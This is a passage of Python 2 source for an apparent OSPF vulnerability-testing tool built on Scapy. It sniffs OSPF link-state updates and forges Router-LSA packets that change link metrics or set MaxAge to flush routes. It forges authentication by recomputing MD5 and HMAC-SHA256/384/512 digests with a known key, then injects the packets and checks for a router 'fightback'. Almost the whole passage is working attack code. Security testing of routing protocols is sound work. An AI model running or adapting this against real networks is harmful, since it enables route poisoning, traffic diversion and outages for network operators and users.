pkts_new = str(pkts_atk[lenpkts])[:34] + ospf_header_cuthash + genhash2.digest()
pkts_new = pkts_new.__class__(str(pkts_new))
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_new)
print("Checking for Vulnerability")
chkvuln(keep_seq)
elif get_authtype(pkts_atk[lenpkts]) == "2_sha256" :
pkts_atk[lenpkts][OSPF_Hdr].seq +=20 #<<<auth crypt sequence
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 20
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
ospf_header_nov4 = pkts_atk[lenpkts][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts_atk[lenpkts][OSPF_Hdr].len] #left only pure header, no auth hash at the back
i_pad = ('\x36'*(64))
o_pad = ('\x5c'*(64))
aa_pad = ('878fe1f3'*(8))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha256()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha256()
genhash2.update(hash_sum_2)
pkts_new = str(pkts_atk[lenpkts])[:34] + ospf_header_cuthash + genhash2.digest()
pkts_new = pkts_new.__class__(str(pkts_new))
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_new)
print("Checking for Vulnerability")
chkvuln(keep_seq)
elif get_authtype(pkts_atk[lenpkts]) == "2_sha384" :
pkts_atk[lenpkts][OSPF_Hdr].seq +=20 #<<<auth crypt sequence
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 20
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
ospf_header_nov4 = pkts_atk[lenpkts][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts_atk[lenpkts][OSPF_Hdr].len] #left only pure header, no auth hash at the back
i_pad = ('\x36'*(128))
o_pad = ('\x5c'*(128))
aa_pad = ('878fe1f3'*(12))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha384()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha384()
genhash2.update(hash_sum_2)
pkts_new = str(pkts_atk[lenpkts])[:34] + ospf_header_cuthash + genhash2.digest()
pkts_new = pkts_new.__class__(str(pkts_new))
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_new)
print("Checking for Vulnerability")
chkvuln(keep_seq)
elif get_authtype(pkts_atk[lenpkts]) == "2_sha512" :
pkts_atk[lenpkts][OSPF_Hdr].seq +=20 #<<<auth crypt sequence
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 20
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
ospf_header_nov4 = pkts_atk[lenpkts][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts_atk[lenpkts][OSPF_Hdr].len] #left only pure header, no auth hash at the back
i_pad = ('\x36'*(128))
o_pad = ('\x5c'*(128))
aa_pad = ('878fe1f3'*(16))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha512()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha512()
genhash2.update(hash_sum_2)
pkts_new = str(pkts_atk[lenpkts])[:34] + ospf_header_cuthash + genhash2.digest()
pkts_new = pkts_new.__class__(str(pkts_new))
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_new)
print("Checking for Vulnerability")
chkvuln(keep_seq)
raw_input("Press Enter to continue...")
main()
Attacks()
def Two_MaxAge_attack(): #Done
print("")
load_contrib('ospf')
print("Intercepting OSPF's LSU. Please wait, this may take up to 30 minutes")
def stopfilter(x):
if x[OSPF_Hdr].type == 4 and "OSPF_Router_LSA" in x : #to select only packet with Router_LSA not Network-LSA
return True
else:
return False
pkts_atk=sniff(filter="ip proto 0x59", stop_filter=stopfilter) #sniff for LSUpdate
def chkvuln(keep_seq):
pkts_chk=sniff(filter="ip proto 0x59", timeout = 20)
global sta2
FFb=False
for index in range(len(pkts_chk)):
try:
if pkts_chk[index][OSPF_Router_LSA].seq == keep_seq+1 or pkts_chk[index][OSPF_LSA_Hdr].seq == keepseq+1:
sta2 = " Fightback engaged, not vulnerable for MaxAge Attack"
print "Fightback engaged, not vulnerable for MaxAge Attack"
FFb=True
break;
except IndexError:
FFb=False
continue
if FFb != True:
sta2 = " No Fightback engaged, not vulnerable for MaxAge attack"
print('No fightback engaged, vulnerable for MaxAge attack')
lenpkts = len(pkts_atk)-1 #to select the last packet captured from sniffed
if get_authtype(pkts_atk[lenpkts]) == "0_no" :
#change metric and send out, reload checksum
#print("degug_0")
pkts_atk[lenpkts][OSPF_Router_LSA].age = 3600
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 1
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
sendp(pkts_atk[lenpkts], verbose=1)
print ("\n")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_atk[lenpkts], verbose=1)
print("Checking for Vulnerability")
chkvuln(keep_seq)
##Check by receiveack within 10 sec, and check with same ack and Packetchksum
elif get_authtype(pkts_atk[lenpkts]) == "1_plain" :
#change metric and send out, reload checksum
#print("debug_1")
pkts_atk[lenpkts][OSPF_Router_LSA].age = 3600
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 20
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
print ("\n")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_atk[lenpkts], verbose=1)
print("Checking for Vulnerability")
chkvuln(keep_seq)
elif get_authtype(pkts_atk[lenpkts]) == "2_md" :
#cut auth data, gen auth seq data, no need for checsum <<<< but what if LSA contain only network-lsa?? check LSTYPE first!!!
#print("debug_2md")
pkts_atk[lenpkts][OSPF_Hdr].seq +=20 #<<<auth crypt sequence
pkts_atk[lenpkts][OSPF_Router_LSA].age = 3600
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 20
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
ospf_header_nov4 = pkts_atk[lenpkts][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts_atk[lenpkts][OSPF_Hdr].len] #cut out hash
#print key_padd
ospf_header_combine = ospf_header_cuthash + key_padd
genhash = hashlib.md5()
genhash.update(ospf_header_combine)
pkts_new = str(pkts_atk[lenpkts])[:34] + ospf_header_cuthash + genhash.digest() #obtain the Layer2,3 header
pkts_new = pkts_new.__class__(str(pkts_new))
print ("\n")